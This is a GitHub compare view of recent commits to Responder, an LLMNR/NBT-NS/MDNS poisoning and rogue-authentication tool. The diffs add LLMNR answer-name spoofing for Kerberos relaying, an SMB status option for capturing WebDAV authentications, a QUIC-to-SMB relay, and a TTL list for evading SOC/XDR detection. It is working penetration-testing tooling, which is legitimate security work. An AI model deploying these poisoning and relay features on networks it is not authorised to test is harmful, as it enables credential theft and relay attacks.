Compare commits

...

37 Commits

Author SHA1 Message Date
lgandx
aa4b082071 Merge branch 'master' of https://github.com/lgandx/Responder 2025-12-01 21:48:18 -03:00
lgandx
de5cdf4891 removed old addresses and added new ones. 2025-12-01 21:47:30 -03:00
lgandx
b4427406ee Merge pull request #329 from FLX-0x00/master
Fix pyproject.toml license metadata incompatibility with PDM backend
2025-11-29 20:00:45 -03:00
Paul Werther
1457035955 remove the licence classifier 2025-11-05 12:33:22 +01:00
lgandx
7c5a31d803 Merge pull request #325 from TheToddLuci0/add_pyproject_toml
Add pyprojcet.toml for pip-install ability
2025-10-30 20:48:59 -03:00
TheToddLuci0
15c173a128 Add pyprojcet.toml for pip-install ability 2025-10-20 14:02:44 -05:00
lgandx
fe5f63269a minor fix on recent merge and version update 2025-08-22 19:15:52 -03:00
lgandx
da74083b46 Merge pull request #315 from vflame6/master
Disabled printing of ignored LLMNR, NBT-NS and MDNS messages in Analyze Mode with Quiet Mode
2025-08-22 19:07:29 -03:00
lgandx
004dc1f4f3 Merge pull request #297 from idarlund/patch-1
quickstart for macos
2025-08-22 18:42:52 -03:00
lgandx
6fad9f0c3a Merge branch 'master' of https://github.com/lgandx/Responder 2025-08-22 18:32:51 -03:00
lgandx
007367e0e0 minor fix and layout changes 2025-08-22 18:30:49 -03:00
lgandx
08864c7d76 Merge pull request #318 from Helithumper/kerberos-typo
Typo Fix: Kebreros->Kerberos
2025-08-22 18:09:47 -03:00
lgandx
32da74c12d Merge branch 'master' into kerberos-typo 2025-08-22 18:09:22 -03:00
lgandx
7a8d06b8d3 Merge pull request #319 from hdm/master
Correct a very minor typo
2025-08-22 18:05:39 -03:00
HD Moore
a9c41c97fc fix minor typo 2025-07-28 22:02:19 -05:00
HD Moore
eeceecae8f fix minor typo 2025-07-28 22:01:58 -05:00
Peyton Duncan
f1d8d1a6c4 typo had a typo 2025-07-19 13:58:14 -07:00
Peyton Duncan
a5a2231ec3 typo fix 2025-07-19 13:56:10 -07:00
vflame6
7e6d49bf42 Disabled printing of ignored LLMNR, NBT-NS and MDNS messages in Analyze + Quiet modes 2025-07-09 13:33:07 +05:00
lgandx
398a1fce31 Fixed minor parsing issue in FindIP 2025-05-22 18:45:45 -03:00
lgandx
fa2b8dd5fd minor fixes 2025-05-22 11:42:50 -03:00
lgandx
58eb8731a5 Added SNMP srv enabled by default 2025-05-22 05:34:30 -03:00
lgandx
658480e0a5 added recent changelog 2025-05-22 05:27:55 -03:00
lgandx
a76ee47867 added check for aioquic & updated version to reflect recent changes 2025-05-22 05:23:00 -03:00
lgandx
e346c01695 Merge pull request #310 from ctjf/master
added quic support based on xpn's work
2025-05-22 05:17:27 -03:00
lgandx
41ed7c4f4a Merge pull request #308 from BlWasp/error_code_returned
Add control on the status code returned by the SMB server
2025-05-22 04:32:13 -03:00
lgandx
ea820ab076 Merge pull request #311 from stfnw/master
DHCP poisoner: refactor FindIP
2025-05-22 04:30:07 -03:00
Stefan Walter
a0d1f03617 DHCP poisoner: refactor FindIP
- do not crash on IP addresses where one octet contains 0x45 0x4f or 0x46

- operate on bytes (avoid encoding/decoding round-trip)
  and use simple string search instead of regular expressions

closes #181
closes #304
2025-04-12 12:11:00 +02:00
Joshua Fickett
871cdffa97 added quic support based on xpn's work 2025-04-03 15:16:00 -04:00
BlackWasp
e781559be0 Indentation typos 2025-03-16 23:40:51 +01:00
BlackWasp
6bf6887c49 Add status code control 2025-03-16 23:32:19 +01:00
lgandx
545137275f Merge pull request #305 from L1-0/patch-1
Update RPC.py
2025-03-13 11:28:24 -03:00
Lino
6743423251 Update RPC.py
Fix Output of RPC.py
2025-02-24 11:49:06 +01:00
lgandx
d740fb526f Merge pull request #301 from q-roland/kerberos_relaying_llmnr
Adding answer name spoofing capabilities to LLMNR poisoner for Kerberos relaying purposes
2025-01-27 07:22:07 -03:00
User
d3dd37a324 Adding answer name spoofing capabilities when poisoning LLMNR for Kerberos relaying purpose 2025-01-23 14:35:41 -08:00
Idar Lund
38023edfaa Update README.md 2024-11-07 09:21:19 +00:00
Idar Lund
fbcb000a93 quickstart for macos
added quickstart for macos and changed format on the considerations for macos
2024-11-07 09:18:55 +00:00
16 changed files with 352 additions and 42 deletions

4
.gitignore vendored
View File

@@ -1,5 +1,6 @@
# Python artifacts
*.pyc
.venv/
# Responder logs
*.db
@@ -9,3 +10,6 @@
# Generated certificates and keys
certs/*.crt
certs/*.key
# IDE
.idea/

View File

@@ -1,3 +1,35 @@
n.n.n / 2025-05-22
==================
* added check for aioquic & updated version to reflect recent changes
* Merge pull request #310 from ctjf/master
* Merge pull request #308 from BlWasp/error_code_returned
* Merge pull request #311 from stfnw/master
* DHCP poisoner: refactor FindIP
* added quic support based on xpn's work
* Indentation typos
* Add status code control
* Merge pull request #305 from L1-0/patch-1
* Update RPC.py
* Merge pull request #301 from q-roland/kerberos_relaying_llmnr
* Adding answer name spoofing capabilities when poisoning LLMNR for Kerberos relaying purpose
n.n.n / 2025-05-22
==================
* added check for aioquic & updated version to reflect recent changes
* Merge pull request #310 from ctjf/master
* Merge pull request #308 from BlWasp/error_code_returned
* Merge pull request #311 from stfnw/master
* DHCP poisoner: refactor FindIP
* added quic support based on xpn's work
* Indentation typos
* Add status code control
* Merge pull request #305 from L1-0/patch-1
* Update RPC.py
* Merge pull request #301 from q-roland/kerberos_relaying_llmnr
* Adding answer name spoofing capabilities when poisoning LLMNR for Kerberos relaying purpose
# Changelog
All notable changes to this project will be documented in this file.

View File

@@ -101,15 +101,32 @@ Edit this file /etc/NetworkManager/NetworkManager.conf and comment the line: `dn
- This tool is not meant to work on Windows.
- For OSX, please note: Responder must be launched with an IP address for the -i flag (e.g. -i YOUR_IP_ADDR). There is no native support in OSX for custom interface binding. Using -i en1 will not work. Also to run Responder with the best experience, run the following as root:
- For macOS, please note: Responder must be launched with an IP address for the -i flag (e.g. -i YOUR_IP_ADDR). There is no native support in OSX for custom interface binding. Using -i en1 will not work. Also to run Responder with the best experience, run the following as root:
launchctl unload /System/Library/LaunchDaemons/com.apple.Kerberos.kdc.plist
```
launchctl bootout system /System/Library/LaunchDaemons/com.apple.Kerberos.kdc.plist
launchctl bootout system /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist
launchctl bootout system /System/Library/LaunchDaemons/com.apple.smbd.plist
launchctl bootout system /System/Library/LaunchDaemons/com.apple.netbiosd.plist
```
launchctl unload /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist
## Install ##
launchctl unload /System/Library/LaunchDaemons/com.apple.smbd.plist
Using pipx
launchctl unload /System/Library/LaunchDaemons/com.apple.netbiosd.plist
```bash
pipx install git+https://github.com/lgandx/Responder.git
```
Manual:
```bash
git clone https://github.com/lgandx/Responder
cd Responder/
python3 -m venv .
source bin/activate
python3 -m pip install netifaces
sudo python3 Responder.py
```
## Usage ##
@@ -157,20 +174,36 @@ Options:
False
-P, --ProxyAuth Force NTLM (transparently)/Basic (prompt)
authentication for the proxy. WPAD doesn't need to be
ON. Default: False
ON. This option is highly effective. Default: False
-Q, --quiet Tell Responder to be quiet, disables a bunch of
printing from the poisoners. Default: False
--lm Force LM hashing downgrade for Windows XP/2003 and
earlier. Default: False
--disable-ess Force ESS downgrade. Default: False
-v, --verbose Increase verbosity.
-t 1e, --ttl=1e Change the default Windows TTL for poisoned answers.
Value in hex (30 seconds = 1e). use '-t random' for
random TTL
-N ANSWERNAME, --AnswerName=ANSWERNAME
Specifies the canonical name returned by the LLMNR
poisoner in its Answer section. By default, the
answer's canonical name is the same as the query.
Changing this value is mainly useful when attempting
to perform Kerberos relaying over HTTP.
-E, --ErrorCode Changes the error code returned by the SMB server to
STATUS_LOGON_FAILURE. By default, the status is
STATUS_ACCESS_DENIED. Changing this value permits to
obtain WebDAV authentications from the poisoned
machines where the WebClient service is running.
## Donation ##
You can contribute to this project by donating to the following $XLM (Stellar Lumens) address:
You can contribute to this project by donating to the following USDT or Bitcoin address:
"GCGBMO772FRLU6V4NDUKIEXEFNVSP774H2TVYQ3WWHK4TEKYUUTLUKUH"
USDT: TNS8ZhdkeiMCT6BpXnj4qPfWo3HpoACJwv
BTC: 15X984Qco6bUxaxiR8AmTnQQ5v1LJ2zpNo
Paypal:

View File

@@ -8,6 +8,7 @@ NBTNS = On
; Servers to start
SQL = On
SMB = On
QUIC = On
RDP = On
Kerberos = On
FTP = On
@@ -20,7 +21,7 @@ DNS = On
LDAP = On
DCERPC = On
WINRM = On
SNMP = Off
SNMP = On
MQTT = On
; Custom challenge.

View File

@@ -14,6 +14,7 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import asyncio
import optparse
import ssl
try:
@@ -46,6 +47,8 @@ parser.add_option('--lm', action="store_true", help="Force LM h
parser.add_option('--disable-ess', action="store_true", help="Force ESS downgrade. Default: False", dest="NOESS_On_Off", default=False)
parser.add_option('-v','--verbose', action="store_true", help="Increase verbosity.", dest="Verbose")
parser.add_option('-t','--ttl', action="store", help="Change the default Windows TTL for poisoned answers. Value in hex (30 seconds = 1e). use '-t random' for random TTL", dest="TTL", metavar="1e", default=None)
parser.add_option('-N', '--AnswerName', action="store", help="Specifies the canonical name returned by the LLMNR poisoner in its Answer section. By default, the answer's canonical name is the same as the query. Changing this value is mainly useful when attempting to perform Kerberos relaying over HTTP.", dest="AnswerName", default=None)
parser.add_option('-E', '--ErrorCode', action="store_true", help="Changes the error code returned by the SMB server to STATUS_LOGON_FAILURE. By default, the status is STATUS_ACCESS_DENIED. Changing this value permits to obtain WebDAV authentications from the poisoned machines where the WebClient service is running.", dest="ErrorCode", default=False)
options, args = parser.parse_args()
if not os.geteuid() == 0:
@@ -360,6 +363,12 @@ def main():
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 445, SMB1,)))
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 139, SMB1,)))
if settings.Config.QUIC_On_Off:
from servers.QUIC import start_quic_server
cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
threads.append(Thread(target=lambda: asyncio.run(start_quic_server(settings.Config.Bind_To, cert, key))))
if settings.Config.Krb_On_Off:
from servers.Kerberos import KerbTCP, KerbUDP
threads.append(Thread(target=serve_thread_udp, args=('', 88, KerbUDP,)))

View File

@@ -239,9 +239,13 @@ def ParseSrcDSTAddr(data):
return SrcIP, SrcPort, DstIP, DstPort
def FindIP(data):
data = data.decode('latin-1')
IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data))
return ''.join(IP[0:4]).encode('latin-1')
IPPos = data.find(b"\x32\x04") + 2
if IPPos == -1 or IPPos + 4 >= len(data) or IPPos == 1:
#Probably not present in the DHCP options we received, let's grab it from the IP header instead
return data[12:16]
else:
IP = data[IPPos:IPPos+4]
return IP
def ParseDHCPCode(data, ClientIP,DHCP_DNS):
global DHCPClient

View File

@@ -58,6 +58,10 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
try:
data, soc = self.request
Name = Parse_LLMNR_Name(data).decode("latin-1")
if settings.Config.AnswerName is None:
AnswerName = Name
else:
AnswerName = settings.Config.AnswerName
LLMNRType = Parse_IPV6_Addr(data)
# Break out if we don't want to respond to this host
@@ -67,7 +71,9 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
if data[2:4] == b'\x00\x00' and LLMNRType:
if settings.Config.AnalyzeMode:
LineHeader = "[Analyze mode: LLMNR]"
print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
# Don't print if in Quiet Mode
if not settings.Config.Quiet_Mode:
print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
SavePoisonersToDb({
'Poisoner': 'LLMNR',
'SentToIp': self.client_address[0],
@@ -78,14 +84,17 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
elif LLMNRType == True: # Poisoning Mode
#Default:
if settings.Config.TTL == None:
Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name)
Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName)
else:
Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name, TTL=settings.Config.TTL)
Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName, TTL=settings.Config.TTL)
Buffer1.calculate()
soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
if not settings.Config.Quiet_Mode:
LineHeader = "[*] [LLMNR]"
print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
if settings.Config.AnswerName is None:
print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
else:
print(color("%s Poisoned answer sent to %s for name %s (spoofed answer name %s)" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name, AnswerName), 2, 1))
SavePoisonersToDb({
'Poisoner': 'LLMNR',
'SentToIp': self.client_address[0],
@@ -96,14 +105,17 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
elif LLMNRType == 'IPv6' and Have_IPv6:
#Default:
if settings.Config.TTL == None:
Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name)
Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName)
else:
Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name, TTL=settings.Config.TTL)
Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName, TTL=settings.Config.TTL)
Buffer1.calculate()
soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
if not settings.Config.Quiet_Mode:
LineHeader = "[*] [LLMNR]"
print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
if settings.Config.AnswerName is None:
print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
else:
print(color("%s Poisoned answer sent to %s for name %s (spoofed answer name %s)" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name, AnswerName), 2, 1))
SavePoisonersToDb({
'Poisoner': 'LLMNR6',
'SentToIp': self.client_address[0],

View File

@@ -64,7 +64,9 @@ class MDNS(BaseRequestHandler):
return None
if settings.Config.AnalyzeMode: # Analyze Mode
print(text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0].replace("::ffff:",""), 3), color(Request_Name, 3))))
# Don't print if in Quiet Mode
if not settings.Config.Quiet_Mode:
print(text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0].replace("::ffff:",""), 3), color(Request_Name, 3))))
SavePoisonersToDb({
'Poisoner': 'MDNS',
'SentToIp': self.client_address[0],

View File

@@ -36,7 +36,9 @@ class NBTNS(BaseRequestHandler):
if data[2:4] == b'\x01\x10':
if settings.Config.AnalyzeMode: # Analyze Mode
print(text('[Analyze mode: NBT-NS] Request by %-15s for %s, ignoring' % (color(self.client_address[0].replace("::ffff:",""), 3), color(Name, 3))))
# Don't print if in Quiet Mode
if not settings.Config.Quiet_Mode:
print(text('[Analyze mode: NBT-NS] Request by %-15s for %s, ignoring' % (color(self.client_address[0].replace("::ffff:",""), 3), color(Name, 3))))
SavePoisonersToDb({
'Poisoner': 'NBT-NS',
'SentToIp': self.client_address[0],

30
pyproject.toml Normal file
View File

@@ -0,0 +1,30 @@
[build-system]
requires = ["pdm-backend >= 2.4.0"]
build-backend = "pdm.backend"
[project]
name = "Responder-poisoner" # "responder" is already taken
description = "LLMNR, NBT-NS and MDNS poisoner, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication."
readme = "README.md"
license = "GPL-3.0-only"
license-files = ["LICENSE"]
dynamic = ["version"]
dependencies = ["aioquic", "netifaces>=0.10.4"]
classifiers = [
"Operating System :: MacOS",
"Operating System :: POSIX :: Linux",
"Topic :: Security"
]
[project.urls]
Homepage = "https://github.com/lgandx/Responder"
Issues = "https://github.com/lgandx/Responder/issues"
[project.scripts]
responder = "Responder:main"
[tool.pdm.build]
includes = ["*.py", "files/", "poisoners/", "servers/", "certs/", "tools/", "Responder.conf"]
[tool.pdm.version]
source = "scm"

View File

@@ -1 +1,2 @@
aioquic
netifaces>=0.10.4

168
servers/QUIC.py Normal file
View File

@@ -0,0 +1,168 @@
import asyncio
import logging
import ssl
import argparse
import netifaces
from utils import *
from aioquic.asyncio import serve
from aioquic.asyncio.protocol import QuicConnectionProtocol
from aioquic.quic.configuration import QuicConfiguration
from aioquic.quic.events import QuicEvent, StreamDataReceived, StreamReset, ConnectionTerminated
BUFFER_SIZE = 11000
def get_interface_ip(interface_name):
"""Get the IP address of a network interface."""
try:
# Get address info for the specified interface
addresses = netifaces.ifaddresses(interface_name)
# Get IPv4 address (AF_INET = IPv4)
if netifaces.AF_INET in addresses:
return addresses[netifaces.AF_INET][0]['addr']
# If no IPv4 address, try IPv6 (AF_INET6 = IPv6)
if netifaces.AF_INET6 in addresses:
return addresses[netifaces.AF_INET6][0]['addr']
logging.error(f"[!] No IP address found for interface {interface_name}")
return None
except ValueError:
logging.error(f"[!] Interface {interface_name} not found")
return None
class QUIC(QuicConnectionProtocol):
def __init__(self, *args, target_address=None, **kwargs):
super().__init__(*args, **kwargs)
self.tcp_connections = {} # stream_id -> (reader, writer)
self.target_address = target_address or "localhost"
def quic_event_received(self, event):
if isinstance(event, StreamDataReceived):
asyncio.create_task(self.handle_stream_data(event.stream_id, event.data))
elif isinstance(event, StreamReset) or isinstance(event, ConnectionTerminated):
# Only try to close connections if we have any
if self.tcp_connections:
asyncio.create_task(self.close_all_tcp_connections())
async def handle_stream_data(self, stream_id, data):
if stream_id not in self.tcp_connections:
# Create a new TCP connection to the target interface:445
try:
reader, writer = await asyncio.open_connection(self.target_address, 445)
self.tcp_connections[stream_id] = (reader, writer)
# Start task to read from TCP and write to QUIC
asyncio.create_task(self.tcp_to_quic(stream_id, reader))
logging.info(f"[*] Connected to {self.target_address}:445\n[*] Starting relaying process...")
print(text("[QUIC] Forwarding QUIC connection to SMB server"))
except Exception as e:
logging.error(f"[!] Error connecting to {self.target_address}:445: {e}")
return
# Forward data from QUIC to TCP
try:
_, writer = self.tcp_connections[stream_id]
writer.write(data)
await writer.drain()
except Exception as e:
logging.error(f"[!] Error writing to TCP: {e}")
await self.close_tcp_connection(stream_id)
async def tcp_to_quic(self, stream_id, reader):
try:
while True:
data = await reader.read(BUFFER_SIZE)
if not data:
break
self._quic.send_stream_data(stream_id, data)
self.transmit()
except Exception as e:
logging.error(f"[!] Error reading from TCP: {e}")
finally:
await self.close_tcp_connection(stream_id)
async def close_tcp_connection(self, stream_id):
if stream_id in self.tcp_connections:
_, writer = self.tcp_connections[stream_id]
writer.close()
await writer.wait_closed()
del self.tcp_connections[stream_id]
async def close_all_tcp_connections(self):
try:
# Make a copy of the keys to avoid modification during iteration
stream_ids = list(self.tcp_connections.keys())
for stream_id in stream_ids:
try:
await self.close_tcp_connection(stream_id)
except KeyError:
# Silently ignore if the stream ID no longer exists
pass
except Exception as e:
# Catch any other exceptions that might occur
logging.debug(f"[!] Error closing TCP connections: {e}")
async def start_quic_server(listen_interface, cert_path, key_path):
# Configure QUIC
configuration = QuicConfiguration(
alpn_protocols=["smb"],
is_client=False,
)
# Load certificate and private key
try:
configuration.load_cert_chain(cert_path, key_path)
except Exception as e:
logging.error(f"[!] Could not load {cert_path} and {key_path}: {e}")
return
# Resolve interfaces to IP addresses
listen_ip = listen_interface
if not is_ip_address(listen_interface):
listen_ip = get_interface_ip(listen_interface)
if not listen_ip:
logging.error(f"[!] Could not resolve IP address for interface {listen_interface}")
return
target_ip = listen_interface
if not is_ip_address(listen_interface):
target_ip = get_interface_ip(listen_interface)
if not target_ip:
logging.error(f"[!] Could not resolve IP address for interface {listen_interface}")
return
# Start QUIC server with correct protocol factory
server = await serve(
host=listen_ip,
port=443,
configuration=configuration,
create_protocol=lambda *args, **kwargs: QUIC(
*args,
target_address=target_ip,
**kwargs
)
)
logging.info(f"[*] Started listening on {listen_ip}:443 (UDP)")
logging.info(f"[*] Forwarding connections to {target_ip}:445 (TCP)")
# Keep the server running forever
await asyncio.Future()
def is_ip_address(address):
"""Check if a string is a valid IP address."""
import socket
try:
socket.inet_pton(socket.AF_INET, address)
return True
except socket.error:
try:
socket.inet_pton(socket.AF_INET6, address)
return True
except socket.error:
return False

View File

@@ -144,7 +144,7 @@ class RPCMap(BaseRequestHandler):
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
data = self.request.recv(1024)
print(color("[*] [DCE-RPC Mapper] Redirected %-15sto DSRUAPI auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1))
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to DSRUAPI auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1))
self.request.close()
#LSARPC
@@ -155,7 +155,7 @@ class RPCMap(BaseRequestHandler):
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
data = self.request.recv(1024)
print(color("[*] [DCE-RPC Mapper] Redirected %-15sto LSARPC auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1))
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to LSARPC auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1))
self.request.close()
#WINSPOOL
@@ -166,7 +166,7 @@ class RPCMap(BaseRequestHandler):
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
data = self.request.recv(1024)
print(color("[*] [DCE-RPC Mapper] Redirected %-15sto WINSPOOL auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1))
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to WINSPOOL auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1))
self.request.close()
#NetLogon
@@ -180,7 +180,7 @@ class RPCMap(BaseRequestHandler):
#RPC.calculate()
#self.request.send(NetworkSendBufferPython2or3(str(RPC)))
#data = self.request.recv(1024)
#print(color("[*] [DCE-RPC Mapper] Redirected %-15sto NETLOGON auth server." % (self.client_address[0]), 3, 1))
#print(color("[*] [DCE-RPC Mapper] Redirected %-15s to NETLOGON auth server." % (self.client_address[0]), 3, 1))
except Exception:
self.request.close()

View File

@@ -239,7 +239,11 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
## Session Setup 3 answer SMBv2.
if data[16:18] == b'\x01\x00' and GrabMessageID(data)[0:1] == b'\x02' or GrabMessageID(data)[0:1] == b'\x03' and data[4:5] == b'\xfe':
ParseSMBHash(data, self.client_address[0], Challenge)
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1'), NTStatus="\x22\x00\x00\xc0", SessionID=GrabSessionID(data).decode('latin-1'))
if settings.Config.ErrorCode:
ntstatus="\x6d\x00\x00\xc0"
else:
ntstatus="\x22\x00\x00\xc0"
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1'), NTStatus=ntstatus, SessionID=GrabSessionID(data).decode('latin-1'))
t = SMB2Session2Data()
packet1 = str(head)+str(t)
buffer1 = StructPython2or3('>i', str(packet1))+str(packet1)
@@ -357,7 +361,11 @@ class SMB1LM(BaseRequestHandler): # SMB Server class, old version
self.request.send(NetworkSendBufferPython2or3(Buffer))
else:
ParseLMNTHash(data,self.client_address[0], Challenge)
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid=tidcalc(NetworkRecvBufferPython2or3(data)),uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))
if settings.Config.ErrorCode:
ntstatus="\x6d\x00\x00\xc0"
else:
ntstatus="\x22\x00\x00\xc0"
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode=ntstatus,pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid=tidcalc(NetworkRecvBufferPython2or3(data)),uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))
Packet = str(head) + str(SMBSessEmpty())
Buffer = StructPython2or3('>i', str(Packet))+str(Packet)
self.request.send(NetworkSendBufferPython2or3(Buffer))

View File

@@ -23,7 +23,7 @@ import subprocess
from utils import *
__version__ = 'Responder 3.1.5.0'
__version__ = 'Responder 3.1.7.0'
class Settings:
@@ -124,6 +124,7 @@ class Settings:
self.HTTP_On_Off = self.toBool(config.get('Responder Core', 'HTTP'))
self.SSL_On_Off = self.toBool(config.get('Responder Core', 'HTTPS'))
self.SMB_On_Off = self.toBool(config.get('Responder Core', 'SMB'))
self.QUIC_On_Off = self.toBool(config.get('Responder Core', 'QUIC'))
self.SQL_On_Off = self.toBool(config.get('Responder Core', 'SQL'))
self.FTP_On_Off = self.toBool(config.get('Responder Core', 'FTP'))
self.POP_On_Off = self.toBool(config.get('Responder Core', 'POP'))
@@ -172,6 +173,8 @@ class Settings:
self.DHCP_DNS = options.DHCP_DNS
self.ExternalIP6 = options.ExternalIP6
self.Quiet_Mode = options.Quiet
self.AnswerName = options.AnswerName
self.ErrorCode = options.ErrorCode
# TTL blacklist. Known to be detected by SOC / XDR
TTL_blacklist = [b"\x00\x00\x00\x1e", b"\x00\x00\x00\x78", b"\x00\x00\x00\xa5"]

View File

@@ -28,8 +28,13 @@ import random
try:
import netifaces
except:
sys.exit('You need to install python-netifaces or run Responder with python3...\nTry "apt-get install python-netifaces" or "pip install netifaces"')
sys.exit('You need to install python3-netifaces or run Responder with python3...\nTry "apt-get install python3-netifaces" or "pip install netifaces"')
try:
import aioquic
except:
sys.exit('You need to install aioquic...\nTry "apt-get install python-aioquic" or "pip install aioquic"')
from calendar import timegm
def if_nametoindex2(name):
@@ -480,22 +485,14 @@ def banner():
])
print(banner)
print("\n \033[1;33mNBT-NS, LLMNR & MDNS %s\033[0m" % settings.__version__)
print('')
print(" To support this project:")
print(" Github -> https://github.com/sponsors/lgandx")
print(" Paypal -> https://paypal.me/PythonResponder")
print('')
print(" Author: Laurent Gaffie (laurent.gaffie@gmail.com)")
print(" To kill this script hit CTRL-C")
print('')
def StartupMessage():
enabled = color('[ON]', 2, 1)
disabled = color('[OFF]', 1, 1)
print('')
print(color("[*] ", 2, 1) + 'Sponsor this project: [USDT: TNS8ZhdkeiMCT6BpXnj4qPfWo3HpoACJwv] , [BTC: 15X984Qco6bUxaxiR8AmTnQQ5v1LJ2zpNo]\n')
print(color("[+] ", 2, 1) + "Poisoners:")
print(' %-27s' % "LLMNR" + (enabled if (settings.Config.AnalyzeMode == False and settings.Config.LLMNR_On_Off) else disabled))
print(' %-27s' % "NBT-NS" + (enabled if (settings.Config.AnalyzeMode == False and settings.Config.NBTNS_On_Off) else disabled))
@@ -574,4 +571,8 @@ def StartupMessage():
print(' %-27s' % "Responder Machine Name" + color('[%s]' % settings.Config.MachineName, 5, 1))
print(' %-27s' % "Responder Domain Name" + color('[%s]' % settings.Config.DomainName, 5, 1))
print(' %-27s' % "Responder DCE-RPC Port " + color('[%s]' % settings.Config.RPCPort, 5, 1))
#credits
print('')
print(color("[*] ", 2, 1)+"Version: "+settings.__version__)
print(color("[*] ", 2, 1)+"Author: Laurent Gaffie, <lgaffie@secorizon.com>")